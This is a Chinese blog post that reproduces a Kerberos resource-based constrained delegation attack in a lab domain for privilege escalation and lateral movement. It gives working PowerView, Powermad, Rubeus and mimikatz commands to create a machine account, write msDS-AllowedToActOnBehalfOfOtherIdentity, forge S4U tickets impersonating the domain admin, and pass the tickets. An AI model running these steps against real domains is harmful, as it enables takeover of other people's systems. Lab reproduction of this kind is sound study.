资源委派(提权/横向移动)

  1. 介绍
  2. 测试环境
  3. 复现过程
  4. 参考链接


早在之前看一篇名为”烂番茄提取”的文章的时候就想复现,后面一直没用成功。昨天在搞ACL的时候发现kerberos资源委派提前权,一看。说的不就是这吗,捣鼓了一下写篇文章

介绍

利用用户的ACL(msDS-AllowedToActOnBehalfOfOtherIdentity)属性配合kerberos S4U实现凭证伪造
(原文章没怎么说原理,烂番茄那篇说的有点复杂。我可能没有描述完整(甚至可能有错误),如果想深入了解原理可以看原文
https://blog.ateam.qianxin.com/post/wei-ruan-bu-ren-de-0day-zhi-yu-nei-ben-di-ti-quan-lan-fan-qie/)

使用msDS-AllowedToActOnBehalfOfOtherIdentity属性实现横向/提权
msDS-AllowedToActOnBehalfOfOtherIdentity介绍:ms-DS允许代表其他身份采取行动

利用要求:

* 目标DC是windows server 2012或以上
* 域用户拥有ACL GenericAll/GenericWrite/WriteProperty权限(使用目标域用户加入域的时候默认自带这些权限)
* 目标机器名称
* 域管理用户名称

测试环境

domain:YAYI.local (原本叫domain.local那个域被我玩炸了…重装了)
域管用户:yayis
ip:192.168.113.132 DC
ip:192.168.113.223 YYC (域内主机)

用到的工具:

  • powerview
  • Powermad
  • Rubeus
  • mimikatz
  • impacket工具套件

复现过程

首先进行ACL权限检测,当前域用户是否有权限创建新的计算机。能利用的ACL为
(GenericAll/GenericWrite/WriteProperty)

import-Module Powerview.ps1
Get-ObjectAcl -SamAccountName "YYC" -ResolveGUIDs | out-file save.txt #搜索自己的UID和搜索关键字GenericAll/GenericWrite/WriteProperty

拥有其中一个ACL权限即可

获取域控名称和ip(确定域控版本和系统)

Get-DomainController

查询一个域用户最多可以创建多少台计算机

Get-DomainObject -Identity "dc=YAYI,dc=local" -Domain YAYI.local

查询目标机的msds-allowedtoactonbehalfofotheridentity是否被写入

Get-NetComputer YYC | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity

创建一个计算机用户

import-module powermad
New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose #新建一个计算机账户,密码为123456。

查询新创建的计算机用户的SID

Get-DomainComputer fake01

SID:S-1-5-21-2210433587-4071140994-1849857373-1122

为FAKE01计算机主体创建一个新的原始安全描述符

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-2552734371-813931464-1050690807-1154)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

(实验的时候打错SID了就不贴图了)

修改目标计算机SID

Get-DomainComputer YYC | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

忘记截图了,拿文章的图代替一下。。

提醒-我们之所以能够这样写,是因为Account Operators于安全组进YAYI\Account Operators,尽管唯一重要的/足够的是写权限,但它可以完全控制目标计算机YYC$
(原文写的是 Operations用户,不过我找不到这个。到找到了Account Operations)

自己实现时找到的

一旦msds允许作为其他身份被设置,它在这里是可见的

同样的道理也可以这样看

Get-DomainComputer YYC -Properties 'msds-allowedtoactonbehalfofotheridentity'

配置FAKE01的机器绑定到YYC的机器

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-2210433587-4071140994-1849857373-1122)" #这里的SID为新加的计算机账户的SID
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer YYC| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

获取hash

.\Rubeus.exe hash /password:123456 /user:fake01 /domain:YAYI.local

RC4 hash:32ED87BDB5FDC5E9CBA88547376818D4

伪造域管理员的凭证导入 (这个凭证只能在YYC上使用)

.\Rubeus.exe s4u /user:fake01$ /domain:YAYI.local /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /impersonateuser:yayis /msdsspn:host/YYC /altservice:cifs,host /ptt #导入cifs和host的票据,不导入host票据无法正常使用spexec ?(host票据包含cifs票据)

如果要在别的机子上使用kerberos的凭证,则需要impacket的pyGet.py或者mimikatz导出ccache

mimikatz.exe "kerberos::list /export" "exit"

导入凭证利用,可以使用mimikatz或者set命令

mimikatz "kerberos::ptc yayis.ccache" "exit"
使用set命令,set KRB5CCNAME=yayis.ccache

其实后面还有一点,这个复现的不是很成功。后面的内容有点乱,写出来容易搞混,就不写了
上面提到的ACL一台机器使用域用户连接DC的时候就已经把ACL设置留下来了。我觉得使用powerview
对着每台机器查有权限控制这台机器的SID,可以横着走。(纯属理论,实际上有待测验)

参考链接

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object

https://xz.aliyun.com/t/7454


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:资源委派(提权/横向移动)

本文作者:九世

发布时间:2020-08-03, 23:36:05

最后更新:2020-08-04, 00:28:35

原始链接:http://422926799.github.io/posts/c34daaac.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录